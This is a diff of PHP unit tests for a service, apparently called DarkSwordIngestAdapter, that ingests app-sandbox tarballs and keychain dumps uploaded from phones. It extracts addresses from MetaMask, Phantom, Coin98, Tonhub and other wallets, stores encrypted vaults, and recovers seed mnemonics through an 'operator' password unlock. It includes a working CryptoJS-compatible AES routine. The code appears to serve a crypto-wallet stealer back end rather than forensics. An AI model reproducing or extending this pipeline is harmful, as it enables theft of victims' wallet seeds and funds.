0; $i < 16; $i++) { + $entropy[(string) $i] = 0; + } + $vault = json_encode([ + 'version' => 1, + 'identifier' => 'eea7e5fce328a893799a7d246ec7df594d0371fe5a5bc0c4709256e2d76ee90d', + 'name' => '账户 0', + 'entropy' => $entropy, + ], JSON_UNESCAPED_UNICODE); + $acct = base64_encode('.phantom-labs.vault.seed.eea7e5fce328a893799a7d246ec7df594d0371fe5a5bc0c4709256e2d76ee90d'); + $xml = '' + .'' + .''.$acct.'' + .'app:no-auth' + .'TEAM.app.phantom' + .''.base64_encode((string) $vault).'' + .'' + .''; + + $ingester = app(AppUploadIngester::class); + $ingester->ingestArtifact($device, $xml, 'keychain.xml'); + $ingester->dispatchDecrypt($device); + + $memo = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Phantom')->first(); + $this->assertNotNull($memo); + $this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash); + } + #[Test] public function keychain_metamask_vault_is_a_password_row(): void { @@ -412,6 +445,315 @@ class AppUploadIngestTest extends TestCase $this->assertSame(1, DeviceApp::query()->where('device_id', $device->id)->count()); } + #[Test] + public function metamask_persist_store_keeps_user_accounts_only(): void + { + $device = $this->makeDevice('dev-mm-persist'); + $eth = '0x3bb73b8aaba98538733df3c8a9ea2d769d6aca9e'; + $sol = 'F2Ht8XtGJMSaVkva9XSo1tashz8xUzWSVK69Txmds2jd'; + $btc = 'bc1qncn7nxs46gfvtlqaxdkpm0rpevwe8j7tuh89dz'; + $trx = 'TV3K172bN8kTrq9s5fMKcB8YHZi6F8pxUm'; + $stellar = 'GAX7C5SZIQJYRCASX6U2VSCFRO2Y24IAFCQSC32VEX2KR44MCXULYT4O'; + $usdc = '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c'; + $accounts = ['internalAccounts' => ['accounts' => [ + 'acc-1' => ['id' => 'acc-1', 'address' => $eth, 'type' => 'eip155:eoa', 'metadata' => ['name' => 'Account 1']], + 'acc-2' => ['id' => 'acc-2', 'address' => $sol, 'type' => 'solana:data-account', 'metadata' => []], + 'acc-3' => ['id' => 'acc-3', 'address' => $btc, 'type' => 'bip122:p2wpkh', 'metadata' => []], + 'acc-4' => ['id' => 'acc-4', 'address' => $trx, 'type' => 'tron:eoa', 'metadata' => []], + 'acc-5' => ['id' => 'acc-5', 'address' => $stellar, 'type' => 'stellar:account', 'metadata' => []], + ]]]; + + $tar = $this->makeTar([ + 'Documents/persistStore/persist-AccountsController' => json_encode($accounts), + // Token list / network config noise that used to be harvested. + 'Documents/persistStore/persist-AssetsController' => json_encode([ + 'tokens' => [ + ['symbol' => 'USDC', 'name' => 'USD Coin', 'decimals' => 18, 'chainId' => '0x1', 'address' => $usdc], + ], + ]), + 'Documents/persistStore/persist-NetworkEnablementController' => json_encode([ + 'multicall3' => $usdc, + 'foxConnectAddresses' => ['polygon' => $usdc], + ]), + ]); + + app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'io.metamask.MetaMask.tar'); + + $addrs = WalletAddress::query() + ->where('device_id', $device->id) + ->get(['address', 'chain_type', 'source']); + $this->assertSame(4, $addrs->count()); + $this->assertTrue($addrs->contains(fn ($a) => $a->address === $eth && $a->chain_type === 'ETHEREUM')); + $this->assertTrue($addrs->contains(fn ($a) => $a->address === $sol && $a->chain_type === 'SOLANA')); + $this->assertTrue($addrs->contains(fn ($a) => $a->address === $btc && $a->chain_type === 'BITCOIN')); + $this->assertTrue($addrs->contains(fn ($a) => $a->address === $trx && $a->chain_type === 'TRON')); + $this->assertFalse($addrs->contains(fn ($a) => $a->address === $stellar)); + $this->assertFalse($addrs->contains(fn ($a) => $a->address === $usdc)); + $this->assertTrue($addrs->every(fn ($a) => $a->source === 'MetaMask')); + } + + #[Test] + public function coin98_manifest_stores_wallet_only(): void + { + $device = $this->makeDevice('dev-coin98'); + $tronWallet = 'TBYhcHLQP88aCaL3VnRKEkvX8GDRU73Yb2'; + $tokenContract = '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c'; + // Real shape: doubly JSON-encoded wallet array inside SET_WALLET_STORAGE. + $manifest = json_encode([ + 'SET_WALLET_STORAGE' => json_encode([[ + 'address' => $tronWallet, + 'privateKey' => 'U2FsdGVkX19qEoG/YqTMSgvs0Si33PVh0hddCN6s9OB3', + 'chain' => 'tron', + 'mnemonic' => 'U2FsdGVkX1+rQDNv7jT9NGmJ26hOhY/PPPkNIv68IqxN', + 'encryption' => false, + 'name' => 'My Wallet - 809532', + 'isActive' => true, + ]]), + 'DEVICE_ID' => '"d4032e20-1279-4f43-83b2-89bf53f6a25b"', + 'CACHE_TOKEN_LIST_DATA' => null, + 'POINT_TOKEN_INFO' => json_encode([ + 'contracts' => ['boba' => ['contract' => $tokenContract, 'key' => 'boba']], + ]), + ]); + // Hash-named AsyncStorage file carrying the full token inventory. + $inventory = json_encode([ + ['symbol' => 'WOO', 'name' => 'WOO', 'decimals' => 18, 'chain' => 'binanceSmart', 'address' => $tokenContract], + ['symbol' => 'USDT', 'name' => 'Tether', 'decimals' => 18, 'chain' => 'ethereum', 'address' => '0x'.$tokenContract], + ]); + + $tar = $this->makeTar([ + 'Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/manifest.json' => $manifest, + 'Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/f26084161a3ff963a80009cd5a700583' => $inventory, + ]); + + app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'coin98.crypto.finance.insights.tar'); + + $addrs = WalletAddress::query()->where('device_id', $device->id)->get(['address', 'chain_type', 'source']); + $this->assertSame(1, $addrs->count()); + $this->assertSame($tronWallet, $addrs[0]->address); + $this->assertSame('TRON', $addrs[0]->chain_type); + $this->assertSame('Coin98', $addrs[0]->source); + } + + #[Test] + public function okex_documents_store_no_token_contracts(): void + { + $device = $this->makeDevice('dev-okx'); + $usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'; + $weth = '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c'; + $sqlite = $this->makeOkxCoinMetaSqlite($weth, $usdt); + + $tar = $this->makeTar([ + 'Documents/wallet_coinMeta' => $sqlite, + 'Documents/OKPayCore.db' => $this->makeOkxCoinMetaSqlite($weth, $usdt), + ]); + + app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.okex.OKExAppstoreFull.tar'); + + $this->assertSame( + 0, + WalletAddress::query()->where('device_id', $device->id)->count() + ); + } + + #[Test] + public function tonhub_react_query_stores_user_ton_address(): void + { + $device = $this->makeDevice('dev-tonhub'); + $user = 'EQDBNivLP27xo9TimKUEGZdO8oCTg9YuQZNILru-1e8jXqQQ'; + $jetton = 'EQBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'; + // > 64 KiB so decodeFileContent base64-encodes it, like real mmkv. + $payload = str_pad( + '{"queryKey":["cloud","'.$user.'","primaryCurrency-v1"]}%' + .'{"queryKey":["holders","'.$jetton.'","status"]}', + 70000, + 'x' + ); + + $tar = $this->makeTar([ + 'Documents/mmkv/react-query' => $payload, + 'Documents/mmkv/persistence' => '{"queryKey":["account","'.$jetton.'"]}', + ]); + + app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.tonhub.app.tar'); + + $addrs = WalletAddress::query() + ->where('device_id', $device->id) + ->get(['address', 'chain_type', 'source']); + $this->assertSame(1, $addrs->count()); + $this->assertSame($user, $addrs[0]->address); + $this->assertSame('TON', $addrs[0]->chain_type); + $this->assertSame('Tonhub', $addrs[0]->source); + } + + #[Test] + public function generic_wallet_skips_token_inventory_and_contract_config(): void + { + $device = $this->makeDevice('dev-generic'); + $usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'; + $contract = '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c'; + $digits = '0000000000000000000000000000000000000001'; + + $tar = $this->makeTar([ + 'Documents/cache/tokens.json' => json_encode([ + ['symbol' => 'USDT', 'name' => 'Tether', 'decimals' => 6, 'address' => $usdt], + ]), + 'Documents/config/contracts.json' => json_encode([ + 'multicall3' => $contract, + 'contracts' => ['polygon' => $contract], + ]), + 'Documents/balance-cache.json' => json_encode([ + 'address' => $digits, + ]), + 'Documents/wallet.json' => json_encode([ + 'name' => 'My Wallet', + 'address' => self::TRON, + ]), + ]); + + app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.bitpie.wallet.tar'); + + $addrs = WalletAddress::query()->where('device_id', $device->id)->pluck('address'); + $this->assertSame([self::TRON], $addrs->all()); + } + + #[Test] + public function coin98_encrypted_wallet_is_stored_and_unlocked_with_password(): void + { + $device = $this->makeDevice('dev-coin98-vault'); + $tronWallet = 'TBYhcHLQP88aCaL3VnRKEkvX8GDRU73Yb2'; + $password = 'woshini@88'; + $cipher = $this->cryptoJsEncrypt(self::MNEMONIC, $password); + $manifest = json_encode([ + 'SET_WALLET_STORAGE' => json_encode([[ + 'address' => $tronWallet, + 'privateKey' => $cipher, + 'chain' => 'tron', + 'mnemonic' => $cipher, + 'encryption' => false, + 'name' => 'My Wallet - 809532', + 'isActive' => true, + ]]), + 'POINT_TOKEN_INFO' => json_encode(['contracts' => []]), + ]); + + $tar = $this->makeTar([ + 'Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/manifest.json' => $manifest, + ]); + + app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'coin98.crypto.finance.insights.tar'); + + // Encrypted blobs are persisted as a needs-password keystore row. + $row = WalletKeystore::query() + ->where('device_id', $device->id) + ->where('source', 'Coin98') + ->first(); + $this->assertNotNull($row); + $this->assertSame('coin98.wallet', $row->kind()); + $this->assertSame('Coin98 加密钱包', $row->kindLabel()); + $this->assertSame(1, (int) $row->needs_password); + $wallets = $row->raw_json['wallets'] ?? []; + $this->assertSame($tronWallet, $wallets[0]['address'] ?? null); + $this->assertSame($cipher, $wallets[0]['mnemonic'] ?? null); + + // Address extraction still works alongside the keystore row. + $this->assertSame( + 1, + WalletAddress::query()->where('device_id', $device->id)->where('address', $tronWallet)->count() + ); + + // Wrong password → no mnemonic, no crash. + $adapter = app(\App\Services\DarkSwordIngestAdapter::class); + $miss = $adapter->decryptKeystoreWithPassword($device, $row, 'wrong-password'); + $this->assertSame(0, $miss['hits']); + $this->assertSame(1, $miss['coin98']); + $this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count()); + + // Correct wallet password → mnemonic recovered and row decrypted. + $hit = $adapter->decryptKeystoreWithPassword($device, $row, $password); + $this->assertSame(1, $hit['hits']); + $memo = WalletMnemonic::query()->where('device_id', $device->id)->first(); + $this->assertNotNull($memo); + $this->assertSame('Coin98', $memo->source); + $this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash); + $this->assertSame(1, (int) $row->fresh()->decrypted); + } + + #[Test] + public function metamask_keyring_vault_is_stored_and_unlocked_with_password(): void + { + $device = $this->makeDevice('dev-mm-vault2'); + $password = 'woshini@88'; + $vault = $this->makeMetamaskVault(self::MNEMONIC, $password); + unset($vault['kind']); + $accounts = ['internalAccounts' => ['accounts' => [ + 'acc-1' => ['id' => 'acc-1', 'address' => self::ETH, 'type' => 'eip155:eoa'], + ]]]; + + $tar = $this->makeTar([ + 'Documents/persistStore/persist-KeyringController' => json_encode([ + 'vault' => json_encode($vault), + ]), + 'Documents/persistStore/persist-accounts' => json_encode($accounts), + ]); + + app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'io.metamask.MetaMask.tar'); + + $row = WalletKeystore::query() + ->where('device_id', $device->id) + ->where('source', 'MetaMask') + ->where('needs_password', 1) + ->first(); + $this->assertNotNull($row); + $this->assertSame('metamask.vault', $row->kind()); + $this->assertSame('MetaMask Vault', $row->kindLabel()); + $this->assertSame($vault['cipher'], $row->raw_json['cipher']); + $this->assertSame($vault['iv'], $row->raw_json['iv']); + $this->assertSame($vault['salt'], $row->raw_json['salt']); + + // Operator password unlock recovers the mnemonic through the + // existing quick-crypto PBKDF2 vault decryptor. + $adapter = app(\App\Services\DarkSwordIngestAdapter::class); + $result = $adapter->decryptKeystoreWithPassword($device, $row, $password); + $this->assertSame(1, $result['hits']); + $memo = WalletMnemonic::query()->where('device_id', $device->id)->first(); + $this->assertNotNull($memo); + $this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash); + $this->assertSame(1, (int) $row->fresh()->decrypted); + } + + #[Test] + public function tokenpocket_encrypted_sandbox_files_are_stored(): void + { + $device = $this->makeDevice('dev-gw-enc'); + $encrypted = base64_encode(random_bytes(96)); + $cacheText = str_repeat('a', 200); // long text is NOT encrypted material + + $tar = $this->makeTar([ + 'Documents/F4SeCyr/836527c71bf2a084191ce4147b6deba570c770d2dc1f7d8e6a16795be7b154df' => base64_decode($encrypted), + 'Documents/db/main.sqlite3' => base64_decode($encrypted), + 'Documents/cache/market.sector.classes.json' => $cacheText, + 'Documents/cache/batch_market_list_RWA.json' => json_encode(['address' => '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c', 'symbol' => 'RWA', 'name' => 'RWA', 'decimals' => 18]), + ]); + + app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.global.wallet.ios.tar'); + + $row = WalletKeystore::query() + ->where('device_id', $device->id) + ->where('source', 'Global Wallet') + ->first(); + $this->assertNotNull($row); + $this->assertSame('encrypted.sandbox', $row->kind()); + $this->assertSame(1, (int) $row->needs_password); + $files = array_keys($row->raw_json['files'] ?? []); + sort($files); + $this->assertSame([ + 'Documents/F4SeCyr/836527c71bf2a084191ce4147b6deba570c770d2dc1f7d8e6a16795be7b154df', + 'Documents/db/main.sqlite3', + ], $files); + $this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count()); + } + private function makeDevice(string $id = 'dev-app-1'): Device { return Device::query()->create([ @@ -487,6 +829,45 @@ class AppUploadIngestTest extends TestCase } } + /** + * OKX wallet_coinMeta shape: token metadata tables full of contract + * addresses, with no user-account rows. + */ + private function makeOkxCoinMetaSqlite(string $weth, string $usdt): string + { + $tmp = tempnam(sys_get_temp_dir(), 'okx_meta_'); + $pdo = new \PDO('sqlite:'.$tmp); + $pdo->exec('CREATE TABLE fullAssetCoinRelations (id INTEGER PRIMARY KEY, address TEXT, symbol TEXT, decimals INTEGER)'); + $ins = $pdo->prepare('INSERT INTO fullAssetCoinRelations (address, symbol, decimals) VALUES (?,?,?)'); + $ins->execute([$weth, 'WETH', 18]); + $ins->execute([$usdt, 'USDT', 6]); + $pdo = null; + $bytes = (string) file_get_contents($tmp); + @unlink($tmp); + + return $bytes; + } + + /** + * Mirror of CryptoJS AES.encrypt(plain, password) default output: + * base64("Salted__" + salt + AES-256-CBC), EVP_BytesToKey MD5. + */ + private function cryptoJsEncrypt(string $plain, string $password): string + { + $salt = random_bytes(8); + $derived = ''; + $block = ''; + while (strlen($derived) < 48) { + $block = md5($block.$password.$salt, true); + $derived .= $block; + } + $key = substr($derived, 0, 32); + $iv = substr($derived, 32, 16); + $cipher = openssl_encrypt($plain, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv); + + return base64_encode('Salted__'.$salt.$cipher); + } + private function makeTronLinkSqlite(): string { $tmp = tempnam(sys_get_temp_dir(), 'tl_sqlite_');